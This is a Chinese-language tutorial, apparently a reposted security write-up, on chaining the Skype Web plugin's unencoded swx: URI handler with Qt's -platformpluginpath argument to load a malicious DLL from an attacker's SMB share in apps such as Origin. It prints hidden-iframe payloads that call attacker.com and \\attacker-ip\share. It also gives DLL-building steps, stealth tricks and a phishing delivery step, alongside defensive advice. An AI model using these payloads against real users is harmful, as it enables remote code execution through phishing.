通过Skype Web插件和Qt App来造成RCE
字数 1302 2025-08-26 22:11:23

Qt应用程序远程代码执行漏洞利用教学文档

漏洞概述

本教学文档详细分析了一种通过Skype Web插件和Qt应用程序实现远程代码执行(RCE)的攻击方法。该漏洞利用了Qt框架的插件加载机制和Skype Web插件的URI处理缺陷,允许攻击者通过恶意网页触发远程DLL加载,最终实现代码执行。

前置知识

URI Scheme机制

  • Windows应用程序可以注册自定义URI协议(如skype:origin:等)
  • 浏览器或其他应用程序调用这些URI时会启动关联程序
  • 通常格式为protocol://parameters

Qt框架特性

  • Qt是一个跨平台应用程序框架
  • 支持通过-platformpluginpath参数指定插件加载路径
  • 插件路径可以指向远程SMB共享

Skype Web插件缺陷

  • 注册了swx:协议处理程序
  • 不会对URI进行URL编码处理
  • 使用IE渲染引擎(nshtml.dll)且保护模式默认关闭

攻击流程

  1. 寻找目标Qt应用程序

    • 使用工具枚举本地URI协议(如LookForSchemes)
    • 确认应用程序支持-platformpluginpath参数
    • 示例目标:Free Download Manager、Origin、Transmission等
  2. 构造恶意DLL

    • 使用Visual Studio创建DLL项目
    • 添加.qtmetad段包含有效插件元数据
    • 实现恶意代码(如MessageBox或反向shell)
    • 添加ExitProcess()防止目标程序正常启动
  3. 设置SMB共享

    • 在攻击者控制的服务器上设置SMB共享
    • 托管恶意DLL文件(通常命名为qwindows.dll)
  4. 构造攻击页面

    <iframe src='swx:http://attacker.com/malicious.html' height="0" frameborder="0"></iframe>
    
    • 在malicious.html中使用目标程序的URI协议注入参数:
    <iframe src='origin:// --platformpluginpath=\\attacker-ip\share' height="0" frameborder="0"></iframe>
    
  5. 诱导受害者访问

    • 通过钓鱼邮件等方式诱导用户访问恶意页面
    • 页面加载后会自动触发漏洞利用

技术细节

DLL构造要点

  1. 必须包含有效的Qt插件元数据
  2. 导出函数需要与目标插件一致
  3. 建议使用十六进制编辑器手动调整部分内容

参数注入技巧

  • 利用Skype Web插件不编码URI的特性
  • 直接在URI中插入命令行参数:
    origin:// --platformpluginpath=\\attacker-ip\share

隐蔽性增强

  1. 使用iframe隐藏攻击过程
  2. 在DLL中调用ExitProcess()避免目标程序窗口出现
  3. 使用多个iframe同时攻击多个应用程序

防御措施

用户防护

  1. 卸载Skype Web插件
  2. 避免点击不明链接
  3. 保持应用程序更新

开发者防护

  1. 对URI参数进行严格过滤
  2. 禁用从远程路径加载插件
  3. 实现参数白名单机制

已知受影响应用

  • Origin客户端
  • Free Download Manager
  • Transmission
  • Malwarebytes
  • Cisco Webex Teams

参考资源

免责声明

⚠⚠⚠ 本技术文档仅供安全研究使用,请勿用于非法用途。尝试任何攻击行为前请确保获得合法授权。 ⚠⚠⚠

Qt应用程序远程代码执行漏洞利用教学文档 漏洞概述 本教学文档详细分析了一种通过Skype Web插件和Qt应用程序实现远程代码执行(RCE)的攻击方法。该漏洞利用了Qt框架的插件加载机制和Skype Web插件的URI处理缺陷,允许攻击者通过恶意网页触发远程DLL加载,最终实现代码执行。 前置知识 URI Scheme机制 Windows应用程序可以注册自定义URI协议(如 skype: 、 origin: 等) 浏览器或其他应用程序调用这些URI时会启动关联程序 通常格式为 protocol://parameters Qt框架特性 Qt是一个跨平台应用程序框架 支持通过 -platformpluginpath 参数指定插件加载路径 插件路径可以指向远程SMB共享 Skype Web插件缺陷 注册了 swx: 协议处理程序 不会对URI进行URL编码处理 使用IE渲染引擎(nshtml.dll)且保护模式默认关闭 攻击流程 寻找目标Qt应用程序 : 使用工具枚举本地URI协议(如 LookForSchemes ) 确认应用程序支持 -platformpluginpath 参数 示例目标:Free Download Manager、Origin、Transmission等 构造恶意DLL : 使用Visual Studio创建DLL项目 添加 .qtmetad 段包含有效插件元数据 实现恶意代码(如 MessageBox 或反向shell) 添加 ExitProcess() 防止目标程序正常启动 设置SMB共享 : 在攻击者控制的服务器上设置SMB共享 托管恶意DLL文件(通常命名为 qwindows.dll ) 构造攻击页面 : 在malicious.html中使用目标程序的URI协议注入参数: 诱导受害者访问 : 通过钓鱼邮件等方式诱导用户访问恶意页面 页面加载后会自动触发漏洞利用 技术细节 DLL构造要点 必须包含有效的Qt插件元数据 导出函数需要与目标插件一致 建议使用十六进制编辑器手动调整部分内容 参数注入技巧 利用Skype Web插件不编码URI的特性 直接在URI中插入命令行参数: origin:// --platformpluginpath=\\attacker-ip\share 隐蔽性增强 使用iframe隐藏攻击过程 在DLL中调用 ExitProcess() 避免目标程序窗口出现 使用多个iframe同时攻击多个应用程序 防御措施 用户防护 卸载Skype Web插件 避免点击不明链接 保持应用程序更新 开发者防护 对URI参数进行严格过滤 禁用从远程路径加载插件 实现参数白名单机制 已知受影响应用 Origin客户端 Free Download Manager Transmission Malwarebytes Cisco Webex Teams 参考资源 演示视频 Origin漏洞分析文章 URI Scheme枚举工具 免责声明 ⚠⚠⚠ 本技术文档仅供安全研究使用,请勿用于非法用途。尝试任何攻击行为前请确保获得合法授权。 ⚠⚠⚠